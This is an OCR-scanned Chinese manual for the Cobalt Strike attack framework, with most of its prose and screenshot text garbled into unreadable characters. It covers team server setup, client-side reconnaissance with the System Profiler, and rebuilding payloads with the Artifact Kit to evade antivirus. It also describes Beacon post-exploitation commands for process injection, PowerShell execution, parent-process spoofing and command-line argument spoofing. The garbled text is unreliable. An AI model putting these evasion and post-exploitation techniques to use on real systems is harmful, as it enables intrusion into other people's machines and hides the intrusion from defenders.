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AT &S24 Cobalt Strike Team Server:
Kali Linux 2018.4 - AMD64
Ubuntu Linux 16.04,18.04 - x86 64
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Windows 7 RESIRA



MacOS X 10.13 RLA kA
Kali Linux 2018.4 - AMD64

Ubuntu Linux 16.04,18.04 - x86 64

¥ Cobalt Strike

E77FA Cobalt Strike RITHEE, W RERFAIEZABEFNTA M@, A
PR SPTICRFRENERF

:~/cobaltstrike# ./update
[-] I can not find your license key, please enter i
P000-1111-2222-3333
[+] Calculate MD5: cobaltstrike.jar
[+] MD5: cobaltstrike.jar - 37d7fd5ceed369168300ce8

[+] Checking for latest version
[+] Downloading the latest version of Cobalt Strike
Downloaded 512.0kb

R PRS2 AR AF A EERENER#THY Cobalt Strike hRZs, #4XAY Cobalt
Strike B4R FERRESHIRLETNEE, FMIRR T RERF AR HEA,

windows

1.3 N\FZ Cobalt Strike 243

2.3 update.bat

Linux



BMALTRE:

cd /path/to/cobaltstrike

Jupdate
MacOS X
AZ| Cobalt Strike 327143k

23X " Update Cobalt Strike.command”

HR(REFIFRIUERESEERT team server F1Z Fimik{4. Cobalt Strike BERIE
FNFEPEEIFE], team server AREEEMAYFENE.

YT E BT RlIERH

Cobalt Strike FIEFIEFRSARIENZHA—R, 25, RIS RAYHAR
NREEEFNZE, RERBRFMEET B RHEY.cobaltstrike.license 3X44E]

8], BRETEFIER, Cobalt Strike FEKIEIRHFZH

Zd= Cobalt Strike

Cobalt Strike {k#fiF Oracle Java 1.8, Oracle Java 11 8¢, OpenJDK 11 #fiZ,

Linux

1.9 Linux igE#EFH Java IS

2. fEIE cobaltstrike-trial.tgz


https://www.cobaltstrike.com/help-java-dependency
https://www.cobaltstrike.com/help-java-dependency

tar zxvf cobaltstrike-trial.tgz

MacOS X

1.8 MacOS X i&EHE=FHY Java IR
2. XUiE cobaltstrike-trial.dmg SUHLIREE,

3.55 Cobalt Strike 3 {43iER "NARERF" XEkH.

windows

1.8 Windows &&#E=0Y Java IME

2T EF LA Cobalt Strike ZBIZERIMGREIRG.

3{EABEIRN zip TEYS cobaltstrike-trial zip fRERREISHIZREN S,

B5j] Cobalt Strike

Team Server

Cobalt Strike 9 AZFIRMIRS SR, ZRSEBIHRBERAIBEAIRSE,
Beacon BtaEUis4s8, AT Cobalt Strike thEETES TS INEE. HRA

ARS5Ea1ATFH#E Cobalt Strike INEERIEURE, AEEREICR.

Cobalt Strike FIPAIRSS 28 AJRLA root MBI TIERTSISHNIRER Z L. BEDN
Cobalt Strike FIBAIRSS S8, BEF Cobalt Strike Linux {46 KM H Y

teamserver Iz,


https://www.cobaltstrike.com/help-java-dependency
https://www.cobaltstrike.com/help-java-dependency

Jteamserver [RSZEE IP iullt Z¥%5

i~/cobaltstrike# ./teamserver 192.168.1.4 password
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 50050

[*] SHALl hash of SSL cert is: ldledf9c25813eca534d5¢911e23002F0b5a7eb
Dffset is: 27006
[+] Listener: local - beacon http (windows/beacon_http/reverse_http) on port BO

HIRAIRSS 22 B MBS AIES . B— 1 EEAIRSS =9 P Hbik,
Cobalt Strike ERLLEIFAEFNANRSHEN. FNEEEMRRAT

& Cobalt Strike 2 FimiEZZHIPAIRSS 2RAYEES,
BEASHETERN. WSEHIEE Malleable C2 B{SEEXIH.

BUNSHBRIIEN. HSEUEEIL YYYY-MM-DD 7t&z(RIZ5SR B ER,
BARRSS eR =I5 It 4EoR HERER NEAERHIE ™ Beacon H1, Beacon BXIAEISIE
I AR HERR 2 55T, W15R Beacon BRERITEIL45TR H AL 2 foIREE,
BEBHIEITIEL.

SHIBAIRSS2REa0RT, B ATEIBAIRSSES SSLIEBHY SHA256 I5FH{E, B
IZBIR R {ED REENBARR. SERIFIRRIERRS, Cobalt Strike &
FinsE ARG sSH TH MR ZRNaR RIS HE. XELEFEA
IR ERIF .

Cobalt Strike Client

Cobalt Strike ZFimi&EZZEIHIRSS 25, S5 Cobalt Strike ZFim, 5{ERA
BB HMEREIER. AH{EEISE. 2 Cobalt Strike ZFmEFAT, &
BER—MEEEE.



wiriked | Jcobaltstrike

Windows T:

MHame - l Date modified Type

m:w,\t:.tr.'-jt 9162015 12: 29 AM Appbcation
cobaitstrie 9/16/2015 12:31AM  Executable Jar Fie

= kense 9/16/2015 12:29 AM  Adobe Acrobat Dot
readme 9162015 12:29 AM Text Document
reeasenotes 9/16f2015 12:31 AM Text Doocument
update S/16/2015 12: 29 AM Windows Batch Fle

upciate 9/16/2015 12:29 AM Executable lar Fie



Connect

This is the connect dialog. You should use it to connect
127.0.0.1 i to a Cobalt Strike {Aggressor) 'ﬂa” SErvEr.
imalwarec? losan... |

Host: 127.00.1

o e

Liser: Fué gy

Pdﬂﬁi’-ﬁﬂrd P e

Connect . | Help

£ "host” FERFISEFBIRSSEEH ip Hitit. FBAARSS2EAIEKIAIRCIE 50050.
ROBAEBUIIRE, “user” FREFIMIRSEE LAIBFETR. BILESER
A9BFR. “password” FERZHAIRSSEIAVZERS. mi Connect iE#EZ! Cobalt
Strike FIPAIRSS RS, MRXEEEULHBAIRSSERAISE—IRIERE, Cobalt Strike
BEERE AR FABAIRSSS8AY SSLIFHHY SHA256 I5A{E. WREE, &
s OK, Cobalt Strike ZFimiiEiEIIRSSE8, Cobalt Strike FEIEHXA

SHA256 1675, LMELUGA{EEE.

WarefyFmgerrp int

)

I WA TS Pl TS SR ROR S e B IS 1 FTAD l

s h Then eI [Tel i argred whowry
w1l AT R el

EaTLUEIS Cobalt Strike - > Preferences - > Fingerprints &1 ENg

e,



B Preferences = O *®

. Cobalt Strike This panel is a list of team server S50 cert SHA-1 hashes. You may remove

] Console trusted hashes here.

_

Bl Graph Fingerprints: 7156811db8a08e6c32abecad43f1 de7 EEE‘ijHEEIEr?bE"t: 1 g
B Reporting ‘e0a%486d0eatqad28a6746ch0ed 7bb06e9f7 1addactbbed

[ statusbar 15026675d001eb33848326bal5963373007e101e0fd10a68¢

[ Team Servers 183e31cfedb1039446dc2463b7d35a6bc33f25b925bb117¢94

Cobalt Strike SIREREERAIFIAIRS SIFCEESRIER. NEERXHEENE
MiEEEP— AR SRECEN G, LIEAREREMEREENEE. &

BJLUEiT Cobalt Strike - > Preferences - > Team Servers {EXItERE,

B Preferences — O x

. Cobalt Strike
(L] console
ﬂ Fingerprints

{
1
i
]a:;raph ! Profiles: |127,0.0.1 [ E]
||
|

This panel is a list of saved connection profiles. You may remove stored profiles
here,

‘B Reporting 149.248.17.172
‘] statushar

]

NEES=E

Application Browser



ETETENNEARRE, B#HA View -> Applications, XEITF—4

Applications #EII<, HEPFEE—1IFER, B/x System Profiler S3=RIRFE N

FREFER.
Analyst $15

R RSB RS EE AT BRBERTE. LN R ase s F Rt
HAYTTE:

POER IP R R NS B BRAIRAIE S Java JMERFHIERN. MNRILFERE
7~J3 unknown, NZR7R Java applet AIBEIRBHIETT. SIREIELAEER IP ity

ik, MIFRRKREZ Java INEFEHHIT.

Internet Explorer St AP LRIEARIRAES. BEE Internet Explorer 3%
RAEFREEE . BHBHRASEERRWER. Cobalt Strike FFH
JScriptdll iR 7~ © 3 # ¥ Internet Explorer 9% T & &, # N Z
support.microsoft.com Fi#%Z JScript.dll BINZERAS (BRAFRFEFHIE

=ENF) LUBETRE Internet Explorer EFTIRAMER.
RIFRFERFSI0MY A * 64 FRTREE x64 (IR FFER.

Attacks-->web Dive-by-->system profiter


https://www.cobaltstrike.com/help-system-profiler
http://support.microsoft.com/
https://support.microsoft.com/zh-cn/search?query=jscript%2016660

Cobalt Strike

LT

System Profiler S ® O

.ri The system profiler is a client-side reconaissance tool.
It finds common applications (with version numbers)

=1
w
—

Local URI: [f

Local Host: [192.153.1.?

Local Port: (80

Redirect URL: [htt[:::Jﬂrhnr\nu!.ri.ﬂ.r.|::hina.z.r:l::-m,lr

SSL: ] Enable S5L

I:| Use Java Applet to get infurmatinné

| Launch H Help ]

Event Log

X | Listeners X | Applications X

| external linternal | application |\version



Cobalt Strike

. | view | Attacks Reporting [Help
Applications Ed w BE £ R

external | Credentials use computer
Downloads

Event Log
Keystrokes
Proxy Pivots
screenshots
Script Console
Targets

Web Log

&~ T

EventLog X | Listeners X | Applications X | Applications

external internal application versi
BH 192.168.1.6 unknown Chrome *64 72.0.
BW 192.168.1.6 unknown Windows 7 *64

[ D ormmyro ][ Hal

Client-side Reconaissance



Attacks B M

OB O B |E

% AR R

GebD fa N0

age jer compitar not

pear Phisk
2pea \ ) e

Event Log

System Profiler e ® O

| The systemn profiler is a client-side reconaissance tool.
| It finds common applications (with version numbers)

.

-

Local URI fin/
Local Host: ads |losenclove.com

Local Port 80
|

I Redirect URL: |http:/fwww linkedin.com/
|

. " 1Use Java Applet to get information

Launch .| Help |

L3




Success

Applications
Credentials
Downloads
Event Log
Keystrokes
Proxy Pivots
Screenshots
Script Console
Jargets

Started service: system profiler
Copy and paste this URL to access it

| intern al »

L8

- -

| external

Credentials
Downloads
Event Log
Keystrokes
Proxy Pivots

Screenshots
Script Console
Targets

| |internal ~

Web Log

Event Log X |

LT

- -

Log X | WebLog X

Event I

.



Cobalt Strike

Mew Connection

VPN Interfaces | Session Table

Listeners ' Target TI::Ie

Scrnipt Manager
Close

+

U ﬂ hetpey .brli:_-r.w'-.m.m-'rml.
|g it { fadhs overedlones comfm

O et vl comy e

My niews feed

W

Fiorina Raises Profile; Helping (
ach Out

address ~ name
: 108.51.97.41

Preferences internal =

user

note

compute

Event Log X | Web Log x] Applications X

external internal
KBl 108,51.97.41 unknown
Bl 10851.97.41 unknown
Bl 108.51.97.41 unknown
Bl 10851.57.41 unknown

application
windows 10
Adobe Flash
JScript
Chrome

version

18.0.0.232
11.0.16431
42,0.2311.135



Eventlog X | WebLog x| Applications x

external internal application version note date ~

MR 10851.97.41 unknown Adcbe Flash 11.8,800.94 09/17 14:46:19
M 108519741 unknown |Seript 11.0.18015 09/17 14:46:19
Ml 10851.97.41 unknown windows 7 09/17 14:46:19
- 108519741 unknown windows 7 *64 09/17 14:46:55
M 10851.97.41 unknown Adobe Flash 18.0.0.0 09/17 14:46:55
Ml 1085197.41 unknown Chrome 45,0.2454.93 09/17 14:46:55
B 10851.97.41 unknown Adcbe Flash 17.0.0.169 09/17 14:47:11
M 108519741 unknown windows 7 *64. 09/17 14:47:11
. 108,51.97.41 unknown MS Silverlight 5.1.40728.0 09/17 14:47:11
- 108.51.97.41 unknown JScript 11.0.18015 09/17 14:47:11
Bl 10851.97.41 unknown Internet Explorer 11.0 09/17 14:47:11
L] Adobe Flash 09/17

L Firefox

Input

Set Mote to:

‘-‘ [Ftaphael'i Ma_ﬂ__ ]
oK H cancel.|

wxzemal nterna appacation version nate cate =

M 108519741 unknown Adobe Flash 11.8.800.94 0W17 14:46:19
M 108519741 unknewn [Senpt 11.0.1801% 08/17 14:46:19
- 1085197 41 unknown windows 7 OBV17 14:46:19
M 108519741 unknown Windows 7 *64 09/17 14:46:55
MR 108519741 unknown Adobe Flash 18000 09/17 14:46:55
M 108519741 unknown Chrome 45.0.2454 93 OW/17 14:46:55
M 108519741 unknown Adobe Flash 17.0.0.169 08/17 14:47:11
M 108519741 unkneown windows 7 *64 0817 14:47:11
' 1085197 41 unknown MS Sikerkght $.1.40728.0 OW17 14:47:11
M 108519741 unknown internet Explorer 110 OB/17 14:47:11
B 108519741 192.168.1.9 Adobe Flash 15.0.0.152 Raphael's Mac O8/17 14:47:4%
B 108519741 192.168.1.9 Firefox 38.0 Raphael's Mac 09/17 14:47:45
B 108519741 192.168.1.9 Mac 0S5 X 109 Raphaal's Mac 0917 14:47:45
g 108519741 192.168.1.9 Apple QuickTime 773 Raphael's Mac 0817 14:47:45

Artifact Kit

Cobalt Strike {53 Artifact Kit &pERIH1TS4F0 DLL, Artifact Kit 2—X

rVESR, AT TR R LB ET mAY A AT A0 DLL R E.

Artifact Kit I2it

ERNhRETRERSEXRIIEHNNERER. IRRKIIBENIER
shellcode SR AZIRTHITSE, NIBGEES~mIERE] shellcode FIERTHIT
R TR,

AT REEEXFEN, WEE LTS IVEE shellcode FHEHEERET Z#H$INU4:



PRRE LAY, XFEE T LB RRL A E B AT e KRBTGS ERIR

BirShhimsr-mEdiT TRsEENG, hRar ma@ Einsah e
MR E. BES MRS TSR, RS maE &R E 1S
BEEAAYEIR. MRHMEFER, WHHES~mETHITME DLL tRic
TR XM SMmIRRFIINEER R AV I6EE, MiXLmiDsFInE
R EfSEE T SR NMmEmPREREIR,

Cobalt Strike SittiER, RS PHEERRIE. ERAR— I TENEMN. B
HEIVETAEIRSIT . Artifact Kit 27347340 DLL #EiRIES, ©
R T RIm ST AR RE LA T ARIRE AT ZHEI SR shellcode,
Hep—f# R[S Artifact Kit #89 src-common/bypass-pipe.c]4ERATH,
173X4F0 DLL, BfilBdaEEENECRM shellcode, MRS DIEAEE

R SmREE, SREAZIERNRTERE shellcode,

Artifact Kit TTRRIERE

LR, RIFSTRATRESTIR Artifact Ki B EINRE. WRRFRS NS
AIEERRY Artifact Kit #HTHFERNE, APABEIZRIATHITIHEH DLL &
w AV I EZ, FEERTERTHER, X IaAEE Cobalt Strike 2.5 RLIT
RURRASR, FNEREIEM Artifact Kit FARIERARIER, FBASERES—F
BARMEAEMFEEEE CRY Artifact Kit E44.

BMEXminidts, RARRES mEREREI T DLL B2EFEEA



MBS ARANX PG ER AR AT T3 48, DLL, B —EihmEr-maBaibak
FRIATHRATIERN DLL Baikiriems mtiTH—EothASERP. #
BARFBIRTHATSIHEH DLL 9B R, XERT RS RMEIRE.

IR EXFER T, REET RE TA. (FEXIRS—FRELT, &
EERAEE, LU AR AR AR URGIEXEER. FE=
IHHKE—NEMTRERER (fla0, powershell), BREEHEIRIBRIGRERTERIHN

,—

1T

AN{al{EE Artifact Kit

MIZIAY Cobalt Strike # A Help -> Arsena £ T%; Artifact Kit,

Strategic Cyber LLC¥% Artifact Kit 9&/9.tgz 344, (£ tar sn SIS ELARIESE,
Artifact Kit && build.sh Bz, £ Kali Linux EiE{T A, 8888 Minimal GNU

for Windows Cross Compiler ¥aZ2EXIARY Artifact Kit 7K,

c~/artifact# s
build.sh dist-pipe dist-template script.example
dist-peek dist-readfile README.txt S I'C=Common
:~/artifact# ./build.sh
[+] You have a x86_64 mingw--I will recompile the artif:
[*] Recompile artifact32.dll with src-common/bypass-pipe
Warning: resolving _DllGetClassObject by linking to _D1
12

Use --enable-stdcall-fixup to disable these warnings
Use --disable-stdcall-fixup to disable these fixups

Artifact Kit 13i8315

Artifact Kit FIEEHIA A Artifact Kit AR SIE— MO SRR, BiF



FA Cobalt Strike 7K, i5%£%! Cobalt Strike - > Script Manager, ZAfGM\i%

XA4zrhfinE; artifact.cna BiZs,

Fefi e RhEMERT Artifact Kit REARD, LIBREIMSTER R, BARGH CIE
FrRAJ LR Artifact Kit fEZRISIE, (BIFERFRBALUER Artifact Kit,
BN, —EENRFSREREEIREHIERE Cobalt Strike A9 Faki+
NPT B ANEFESE. EE Cobalt Strike 2.5 /5, Cobalt Strike A9iztA
WRFMAFATMRAER ATHATSUEHN DLL ERT asREERA. NG AR

TXHERRNGREEFTREE— M HFER. WEE(IHNHFER, TR
1TEREMEABRFFHHE, SUGEEERARIRAB R ENEERIRR—FE
B,

Artifact Kit {5

t=fartifact# 1s
build. sh list-pij dist-template script.example
README . txt

H 1 t# , /build, sh
[+] You 'II\N a 186 64 mingw--1 will recompile the artifacts
*] Recompile artifact32.dll with src-common/bypass-pipe.c
Warning: resolving DllGetClassObject by Linking te DllGetClassObject@l?
Use =-enable-stdcall-f illsp to disable these warnings

Use =-disable-stdcall-Tixup to disable these fixups
nnmn; resolving DUlMain by linking to DllMain@l2
g: resolving DUllRegisterServer by lLinking te DllRegisterServergd
¢ resolving DllUnregisterServer by linking to DllUnregisterServer@0
arning: resolving StartW by Llinking to StartWglé
arning: resolving DULLGet( 1.0‘\\('I|1it'l t by Linking to DL1Get( 'l.v\\llllirn tal2
Use --enable-stdcall-fixup to disable these warnings
Use --disable-stdcall-fixup to disable these fixups
Warning: resolving DUlMain by linking to DllMain@l2
Warning: resolving DlIRegisterServer by Linking to DllRegisterServerg0d
W): resolving DllnmregisterServer by Linking te DlllnregisterServer@0
Warning: resolving StartW by Linking to StartWalé
Recompile artifactbd4.dll with src-common/bypass-pipe.c




Mew Connection

preferences _computer ' note
Visualization '
WPN Interfaces
Listeners

Close

| Fvantlaa x | Beacon 192,168.2.66@2424 X |

-

Event Log X | Beacon 192.168.266@2424 X | Scripts X|

h
F ot/artifact/dist-template/artifact cna

Payload Generator
USB/CD AutoPlay
Windows Dropper

Windows Executable !5}

Event Log X | Beacon 192,168.2.66@2424 X | Scripts X

path
frootfartifact/dist-template/artifact cna




Windows Executabls

-,

This dialog generates a Windows executable. Use
Cobalt Strike Arsenal scripts (Help -> Arsenal) to

Listener: |local - beacon http - | » Add|

Qutput: 'Windows EXE - |

! Gen_-rata ||_H§lp ]

| — e

Save

save in: |CJ root -l den Qo

L applet [ Public O evil.hta [

[ artifact [ Templates ) eviladobe.exe [
| [ cobaltstrike [ Veil-Evasion Y eviladobe2.exe [

[J Desktop Ll Videos [ firefox-31.5.0esr.tar [
| |Cd Downloads O atgz [ kASNXTNb.jpeg [

Caf [ artifact.exe D) lateral.exe [

[ Malleable-C2-Profiles [ artifact2.exe O lateral2 exe [

[J PowerSploit [ demo.exe [ libsoS jar [

[J PowerTools [ ec2.pem ) mimierror.txt [

L]

File Name:  [artifact2lexe !

Files of Type: |AII Files

[|
[ |

beacon> uplead froet/artifact2.exe

[*] Tasked beacon to upload froot/fartifact2.exe

[+] host called home., sent: 13337 bytes

' Save

Cancel

as artifact?.exe

[CLIMBER] bdade/2424



Settings

O\‘l‘ml’(khahgm

This might take some time, depending on the type of scan selected.

s —— Cancel scan
Scan type: Custom
Start time: 2:53 PM

Time elapsed: 00:00:01
Iltems scanned: 1 [}

Item: C:\Users\bdade\Desktop\artifact? exe

PC status: Protected

History

Scan completed on 1 item. Scan optic
J Your PC is being monitored and protected, & Quick
——  —gu Ful
Custon
& Real-time protection: On — =

& Virus and spyware definitions:  Up to date

Cobalt Strike {FRJEESY

Cobalt Strike FOIFATRAFTEEIRIFN M A S, RO IIEN
blob, EiEf#tHEX Cobalt Strike ~RITAIANER. WEREHE: FAIIEER,

VFRIIERIEA B ERLAR SIFRIEEZREEER ID 5,



WHAIER TSR

NEBNEFFEFIEIT (built-in update program ) BIM Cobalt Strike B9E

WIRSZERBER—MEROUY, BIEARAY Cobalt Strike IR A2 &Y, FEIER
R TEIAREOE, XAITFRINIUES Strategic Cyber LLC RYIERFRIFF

o] HERRFFEL.

FALEEIREREMNA

Cobalt Strike BEEFRACU4ZIRRRTIELESA), SNRTSUGHE Cobalt Strike
EITHR, WASFEEHTRE, ¥FARY Cobalt Strike PR EEEIRIIRE

R

BT 2 RHEEIEA

SH1&89 Cobalt Strike YFaIUERIRRRT, SAURBOIFEISHA. qNREHT Cobalt

Strike {FANIE, BEITEFIEFEIEIT (built-in update program ) LAMER&R

SR RIS

#HAZl Help -> System Information UAZHIERCSHHTRTEIRE, &
" Other” o TEIK "B BE. BiclE, EFmEEF Team Server 58

B EEAREIME (BUATERANFAREESEAR DRBIFESSI4AIRTE) .

= Cobalt Strike FURBSUHEEBZTHIRAY 30 KAAHESH, Btk

=
= Ho

YRS IEBUOHE M E R MR


https://www.cobaltstrike.com/help-update-cobalt-strike
https://www.cobaltstrike.com/help-update-cobalt-strike

B2 cobaltstrike.auth, FEHFFEFRZEGIIUGS cobaltstrike jar 5

£—ie. EHAMEFER Cobalt Strike:

1. 7% https://www.cobaltstrike.com/download =#Y Cobalt Strike iiFAE

2 MNEEXMIEZ R AR E#T Cobalt Strike IS
335 cobaltstrike SEKMNBSHFISNIES, BEBWIHE
cobaltstrike.jar # cobaltstrike.auth,

Cobalt Strike &% Strategic Cyber LLC

fEEFNdfEd, Cobalt Strike R&t4 Strategic Cyber LLC "FEE" ., 2Rt

FREFTSIEER.

an{a{ERIERRASAY Cobalt Strike FrRIFIFHICH

Cobalt Strike 3.8 RUATNRANEETHEKIZIE.

Cobalt Strike 3.9 RESRAIGES cobaltstrike jar X{HUFE—BERM
cobaltstrike.auth 3214, MFB—"343E5 Cobalt Strike FHEHTHY
cobaltstrike.auth 4EHIZIEZ|BMR Cobalt Strike BIS{43H, FTROIHS
FE AT ERATT K.

HT42=ER ID{E

ZF ID 25 Cobalt Strike IFRIIEZSAXRERY 4 1580, Cobalt Strike 3.9
RESHRABISEEA Cobalt Strike &55fY payload stagers [ stages

generated &1


https://www.cobaltstrike.com/download

W{aJ7E Cobalt Strike artifact H3kZIZR ID (B

= ID {&/£ Cobalt Strike 3.9 KEFhR4AF Cobalt Strike payload stager

&/ 4 TN F10.

REEHEERE IR BRI HTTP stager, XFEIRAYZF ID &7 0.1t stager

NERE 4 1N =FT (0x0,0x0,0x0,0x0) B7R 7 iIX—r,

00000220 54 45 53 5¢ 46 49 4c 45 21 24 48 L - | -TEST-
00000230 35 ¢ 1! 5 40 41 50 5b 34 5c 50 5a 58 3! | .50!P%
00000240 3¢ 50 5e 29 37 43 4. 9 37 7d 24 45 49 43 4. |4(P™)7
00000250 ! 53 54 41 4e 44 41 52 44 2d 41 4e 54 49 56 |R-STAN
00000260 4 55 5. 54 45 53 54 2d 46 49 4c ¢ 1 24 |IRUS-
00000270 L - 35 ¢ 1 50 25 40 41 50 5b 34 5c  |H+H*.5
000ME280 50 5a 58 35 3¢ 50 5e 9 37 43 43 29 . 4 |PZX54(
00000290 45 49 43 41 | 53 54 41 4e 44 41 52 4« 41 |EICAR-
000002a0 4de 54 49 56 49 52 55 5. 54 45 53 54

000002b0 4c ¢ 1 24 ¢ ¢ - 35 4f 21 50

000002cO ! ; 5 a2 56 d5 6a 40 68

000002d0 ¢ . 5 58 a4 53 eb ff

0000020 1 d9 51 5 e7 57 68 00

000002f0 53 56 68 12 96 89 e 85 cO 74 cb

00000300 c3 85 5 e5 ! 3 e a9 fd ff ff 31 .

BBBGB31G 31 36 3¢ 31 33 3¢ 00 OO 00 00

HTTP Payload Stager (Cobalt Strike Trial)

ZF ID {BthfFETF payload stage, (BEIFEEZHIIKEILE. Cobalt Strike A
SEHENERER T ENEMMERS P ERZF ID E.

YAIERRLL 1D fRIPARIRILIRA B SRAE3Z 32 SURRAYSZE



WNEREA team server EEFBME—AIERCCE, NS team server FIRETE
A9 artifacts EEBEARRER ID,

BIRIG{TEHIERAT, Cobalt Strike BAUEFTIRS AP E R — N ETAUEAE,
BMMEBCUGEME— ME—BY ID, Cobalt Strike {{&4 team server B ID,

EASM GUI BioZ FimAYRI S &R 1D

Beacon

Beacon /2 Cobalt Strike B%8&Efa, FAREIISRNILE. £ Beacon BT
HTTP, HTTPS g DNS k&E i85, FAeILUESEH] Windows i EiE L+

AI=XT R Beacons RERHIBFLEEH AT LUE(S.

Beacon IFERE, XIFRLHRXENERE. FRLBEERENIE, Beacon =
BESIREISGRSEEREK, 7 FEES, AEHAERRS. KENEEELA
#14T. Beacon HIRIRIEIRER malleable 14, E#FHEN Beacon 5 Cobalt

Strike malleable C2 ZjEIRYEENZ, IXAJLAEREME Beacon jEaE/IEMEEER

HEGRBINERRENGERE.


https://www.cobaltstrike.com/help-malleable-c2

Beacon {£§l&

AR E Beacon REFIERE interact (328) LAFTFT Beacon YRS,
72 Beacon 21EIFERFRMHE. Beacon ITHIERITFEEER Beacon &

RUES LIRS TECES]. Beacon iz#latlRar<mHiIE S SR HAITE.

PO

Beacon 172.16.20. 157@2368 X

il beacon> pwd
il [*] Tasked beacon te print working directory

il [+] host called home, sent: 8 bytes

il [*] Current directory is C:\Users\whatta.hogg\Desktop
il heacon> getuid

il (1 Tasked beacon to get userid

il [+]1 host called home, sent: 8 bytes

il ("1 You are GLITTER\whatta.hogq

il beacon> sleep 30 20

§l [+1 Tasked beacon to sleep for 30s (20% jitter)

il [+]1 host called home, sent: 16 bytes

| [GRANITE] whatta.hogg/2368

I

Beacon =414

£ Beacon =8V NFIEHE Z BIE— MRS, IRKSEE G XYaIRIE
FEE. EEHRARES, KSEERBIRM NetBIOS FFRLAR HUFISiRAYF
F42%0 PID AR Beacon B9&/SiCRATal.

B GUI Bzl &kixts Beacon RIS S EMS B ELLE O, WNRET

AR &HE<S, Cobalt Strike B{ERAHIAY handle kTR IESHES.



EaIRe S ER KER o RTIEfE Beacon =4 &H{#EF3 Cobalt Strike, & Beacon
Z=HIEHEN help IEEETANGS. B help GIRGSRIRIREGFH
#Ef,

Beacon EEH

AT Beacon B Beacon =HIGWERLALIA) Beacon €8, XSRTFIF
Beacon #&HIERISEIER]., ACCESS KRB SEBIER(E material FIEFHEIE
PRAVIEIN. Explore BB SATIREUSESBEIRARZERIETR, Bl
Pivoting 38, &eJLURE T HLABIT Beacon BFEHITEMIME. Session 32

BRRIGEIRNAE) Beacon IR E.

Interact

Access ¢

Browser Pivot

Pivoting * | pesktop (WNC)

Spawn File Browser
Session * | Net View
Port Scan

Process List

Screenshot

Beacon 3ZH#



Cobalt Strike fFy—La]{ifL (pivot EIFISIETR) AIFE—IREEZ /™ Beacon ,

BB ERI R ZHUR RS E AT FhaikEl Beacon &1,

SSHSER IR

i5ER, Beacon EREHMAE. WIARMAIT. FTanSEEABSL,
= Beacon Jg\ ((EZER) IS, B FRXEGR<SHENHIT. LR, Beacon
EE=BREABRENETmH. WMRMABIR, B clear ag<iBRRIR

Beacon BYa<SRAT Y.

ENAIBR T, Beacons & 60 #YIGAN—IR. AJLAFEF Beacons sleep iSE

UIZE . 5 sleep ap S RELARL I EB(SRISRE Beacon M58 NAISTERAT (8],
BIARILMERE 0 2l 99 Z[AINSE M. WHFRIKIEZE. Beacon S1RIE
BIEEIREERRIFEN B D LRSS Beacons I NETE], B4, sleep
300 20 5= Beacon LA 20%AUIKENIE D ELEAER 300 b, XEW®RE, SR

A\ Beacon [5, Beacon 157 240 2| 300 #bZ |[al{RIE—ERFEH{HE.

BEBFZIXIEE Beacon, 1B=1 sleep 0, XEREER, FELIIE{T, 4
BZBIAT. BRSELE Beacon TR E, AEA R RERIESER. —
L5 Beacon ap<¥ ({5140, browserpivot #] desktop &) & NRIGARTBE

Beacon BEF3x:EHiEL,

BiTaRS

Beacon B3 shell 7<% Beacon BII=ZEFH1. LAY cmd.exe #1765, S

175ehkfe, Beacon BREBEREHER.



{EAAT cmd.exe B run SSHIT, run SERHETER. FHERIET
e AT i S BT A REREREI H .

{#5F3 powershell S SEZERIENL LR PowerShell #1178, A
powerpick epS7EAER powershell.exe BYIER TH11T PowerShell cmdlet,
I Ep ST Lee Christensen &R Unmanaged PowerShell 2K,
powershell 1 powerpick f<$IEFERIEXREISHE,

psinject iy S RRFEHEFIENIFTEE PowerShell, FAMNZMEZITEL
Cmdlet,

PowerShell &A\#5<15 PowerShell IS AZ| Beacon, PowerShell,
Powerpick #1 psinject as<IESNARIZARTAT Cmdlet, Beacon —XREE(RF—

/™ PowerShell A, SAZIHLAN Beacon iEiRSARIZ,

execute assembly Sp<IEEITAM.NET BJH147344E/9 Beacon
post-exploitation job., AILUGSEUEBELEIIEFSE, MUIEEEM Windows
I SITREE T, iSRG RRESRINSHE,

INERIEFEE Beacon WRFEBRHNITAFS, 151 Beacon =HI&HHY cd 5
t#k Beacon HERIHATER. 1Z PWD g ER=mIAR, 1% SETENV &3

SHRETETR.



{#F spawn S IR ERRISIE. spawn SIEZ—1NRFEM (HIan,

x86, x64) M— MU= FAESH.

ZIANERT, spawn e3<SHEE rundli32.exe FEF— I EIE. TTEESWHEER
£ %M rundll32.exe FEEREREET) Internet REH. WEI— N EFHER (BI40,
Internet Explorer) £ spawnto @3 3KfE Beacon MIZIGEIEENEIHA
R, spanwto BRSEREIRIER B EEENHEFINRFIRIFTE
2. $&X spawto 7% Enter &7 Beacon IREIEEIAITA.

inject 71 spawn @ SEBIGATHITREAI stager IEAZIRTEH, X1 stager i
EEER, BERIEMAEEREIRNFFR. R stager TR BIL(HAIMILER
XIBHOMRS, B LERERIE.

5 dllinject [pid]#5 &5 DLL iENHEE. {58 shinject [pid] [architecture]
[/path/to/file.bin]&3<$35 shellcode NAHIAHT NI B RHFES, EF
shspawn [archicture] [/path/to/file.bin]&ERf “spawn to” HE, Fi&

18ERY shellcode MHFENFTZHIZT,

{&F[archicture] [/path/to/file.bin] ZEE5—MNAEFMNEME LAY DLL,

Btz

{#F ppid [pid]J5 Beacon &R THREF S KEFARXARE. XE—FMHELN
WITIT RSB EMNEENITIT AR ARG E. ZH818Y Beacon 1WA/
ESROHENRIR, INREARXHES Beacon fMFE—SEEIET, NGTF.

BN ppid, FH{HASE, ERBERIATZRIIER N T Beacon 21EF50.



runu BsRFLABR— MHIEFARHIERITIES. e SIBLIE SR RHERIN
PRFNEESIE—#CiE 7. HAIlY Beacon SIEX/HBEAHENRSIR.
WRFB—ANRHEER—MRESIET, ALY, spawu ag<7E runu LR
— 1 =1E (BT powershellexe) , LIB—MNHEFARHE, XERSEE

RERELZ BB TEEHE TN,

B> Beacon HIE— 1 WHRIGLIIR, ENZHEMIHSEL. = Beacon iz1T
5%ZRItEchIa <Y, Beacon:

1.LERINSEENLECRIHE (ERMMEE)

2 ERELSHEHHEANTE

3. IREHIE

FARBICRHEBINEN TEEERISH, XEBTRInEHESHITTA.
{2F3 argue [command] [fake arguments]}&Ean < ARINEILLAERSIZR.
[commandF R AILIE SRR, R argue [command] M\ IEEAERTIZRH
Mipran<. argue, EAXRBFIH TIXPMRERFIRFHIG S, HIZILEBIEZEH
#. W0ER Beacon HifE5N “netexe” |, BETESHEHNERFIERSH net,
NET.EXE 8 c:\\windows\system32\net.exe ILfig, BREILHEL net.exe, x86
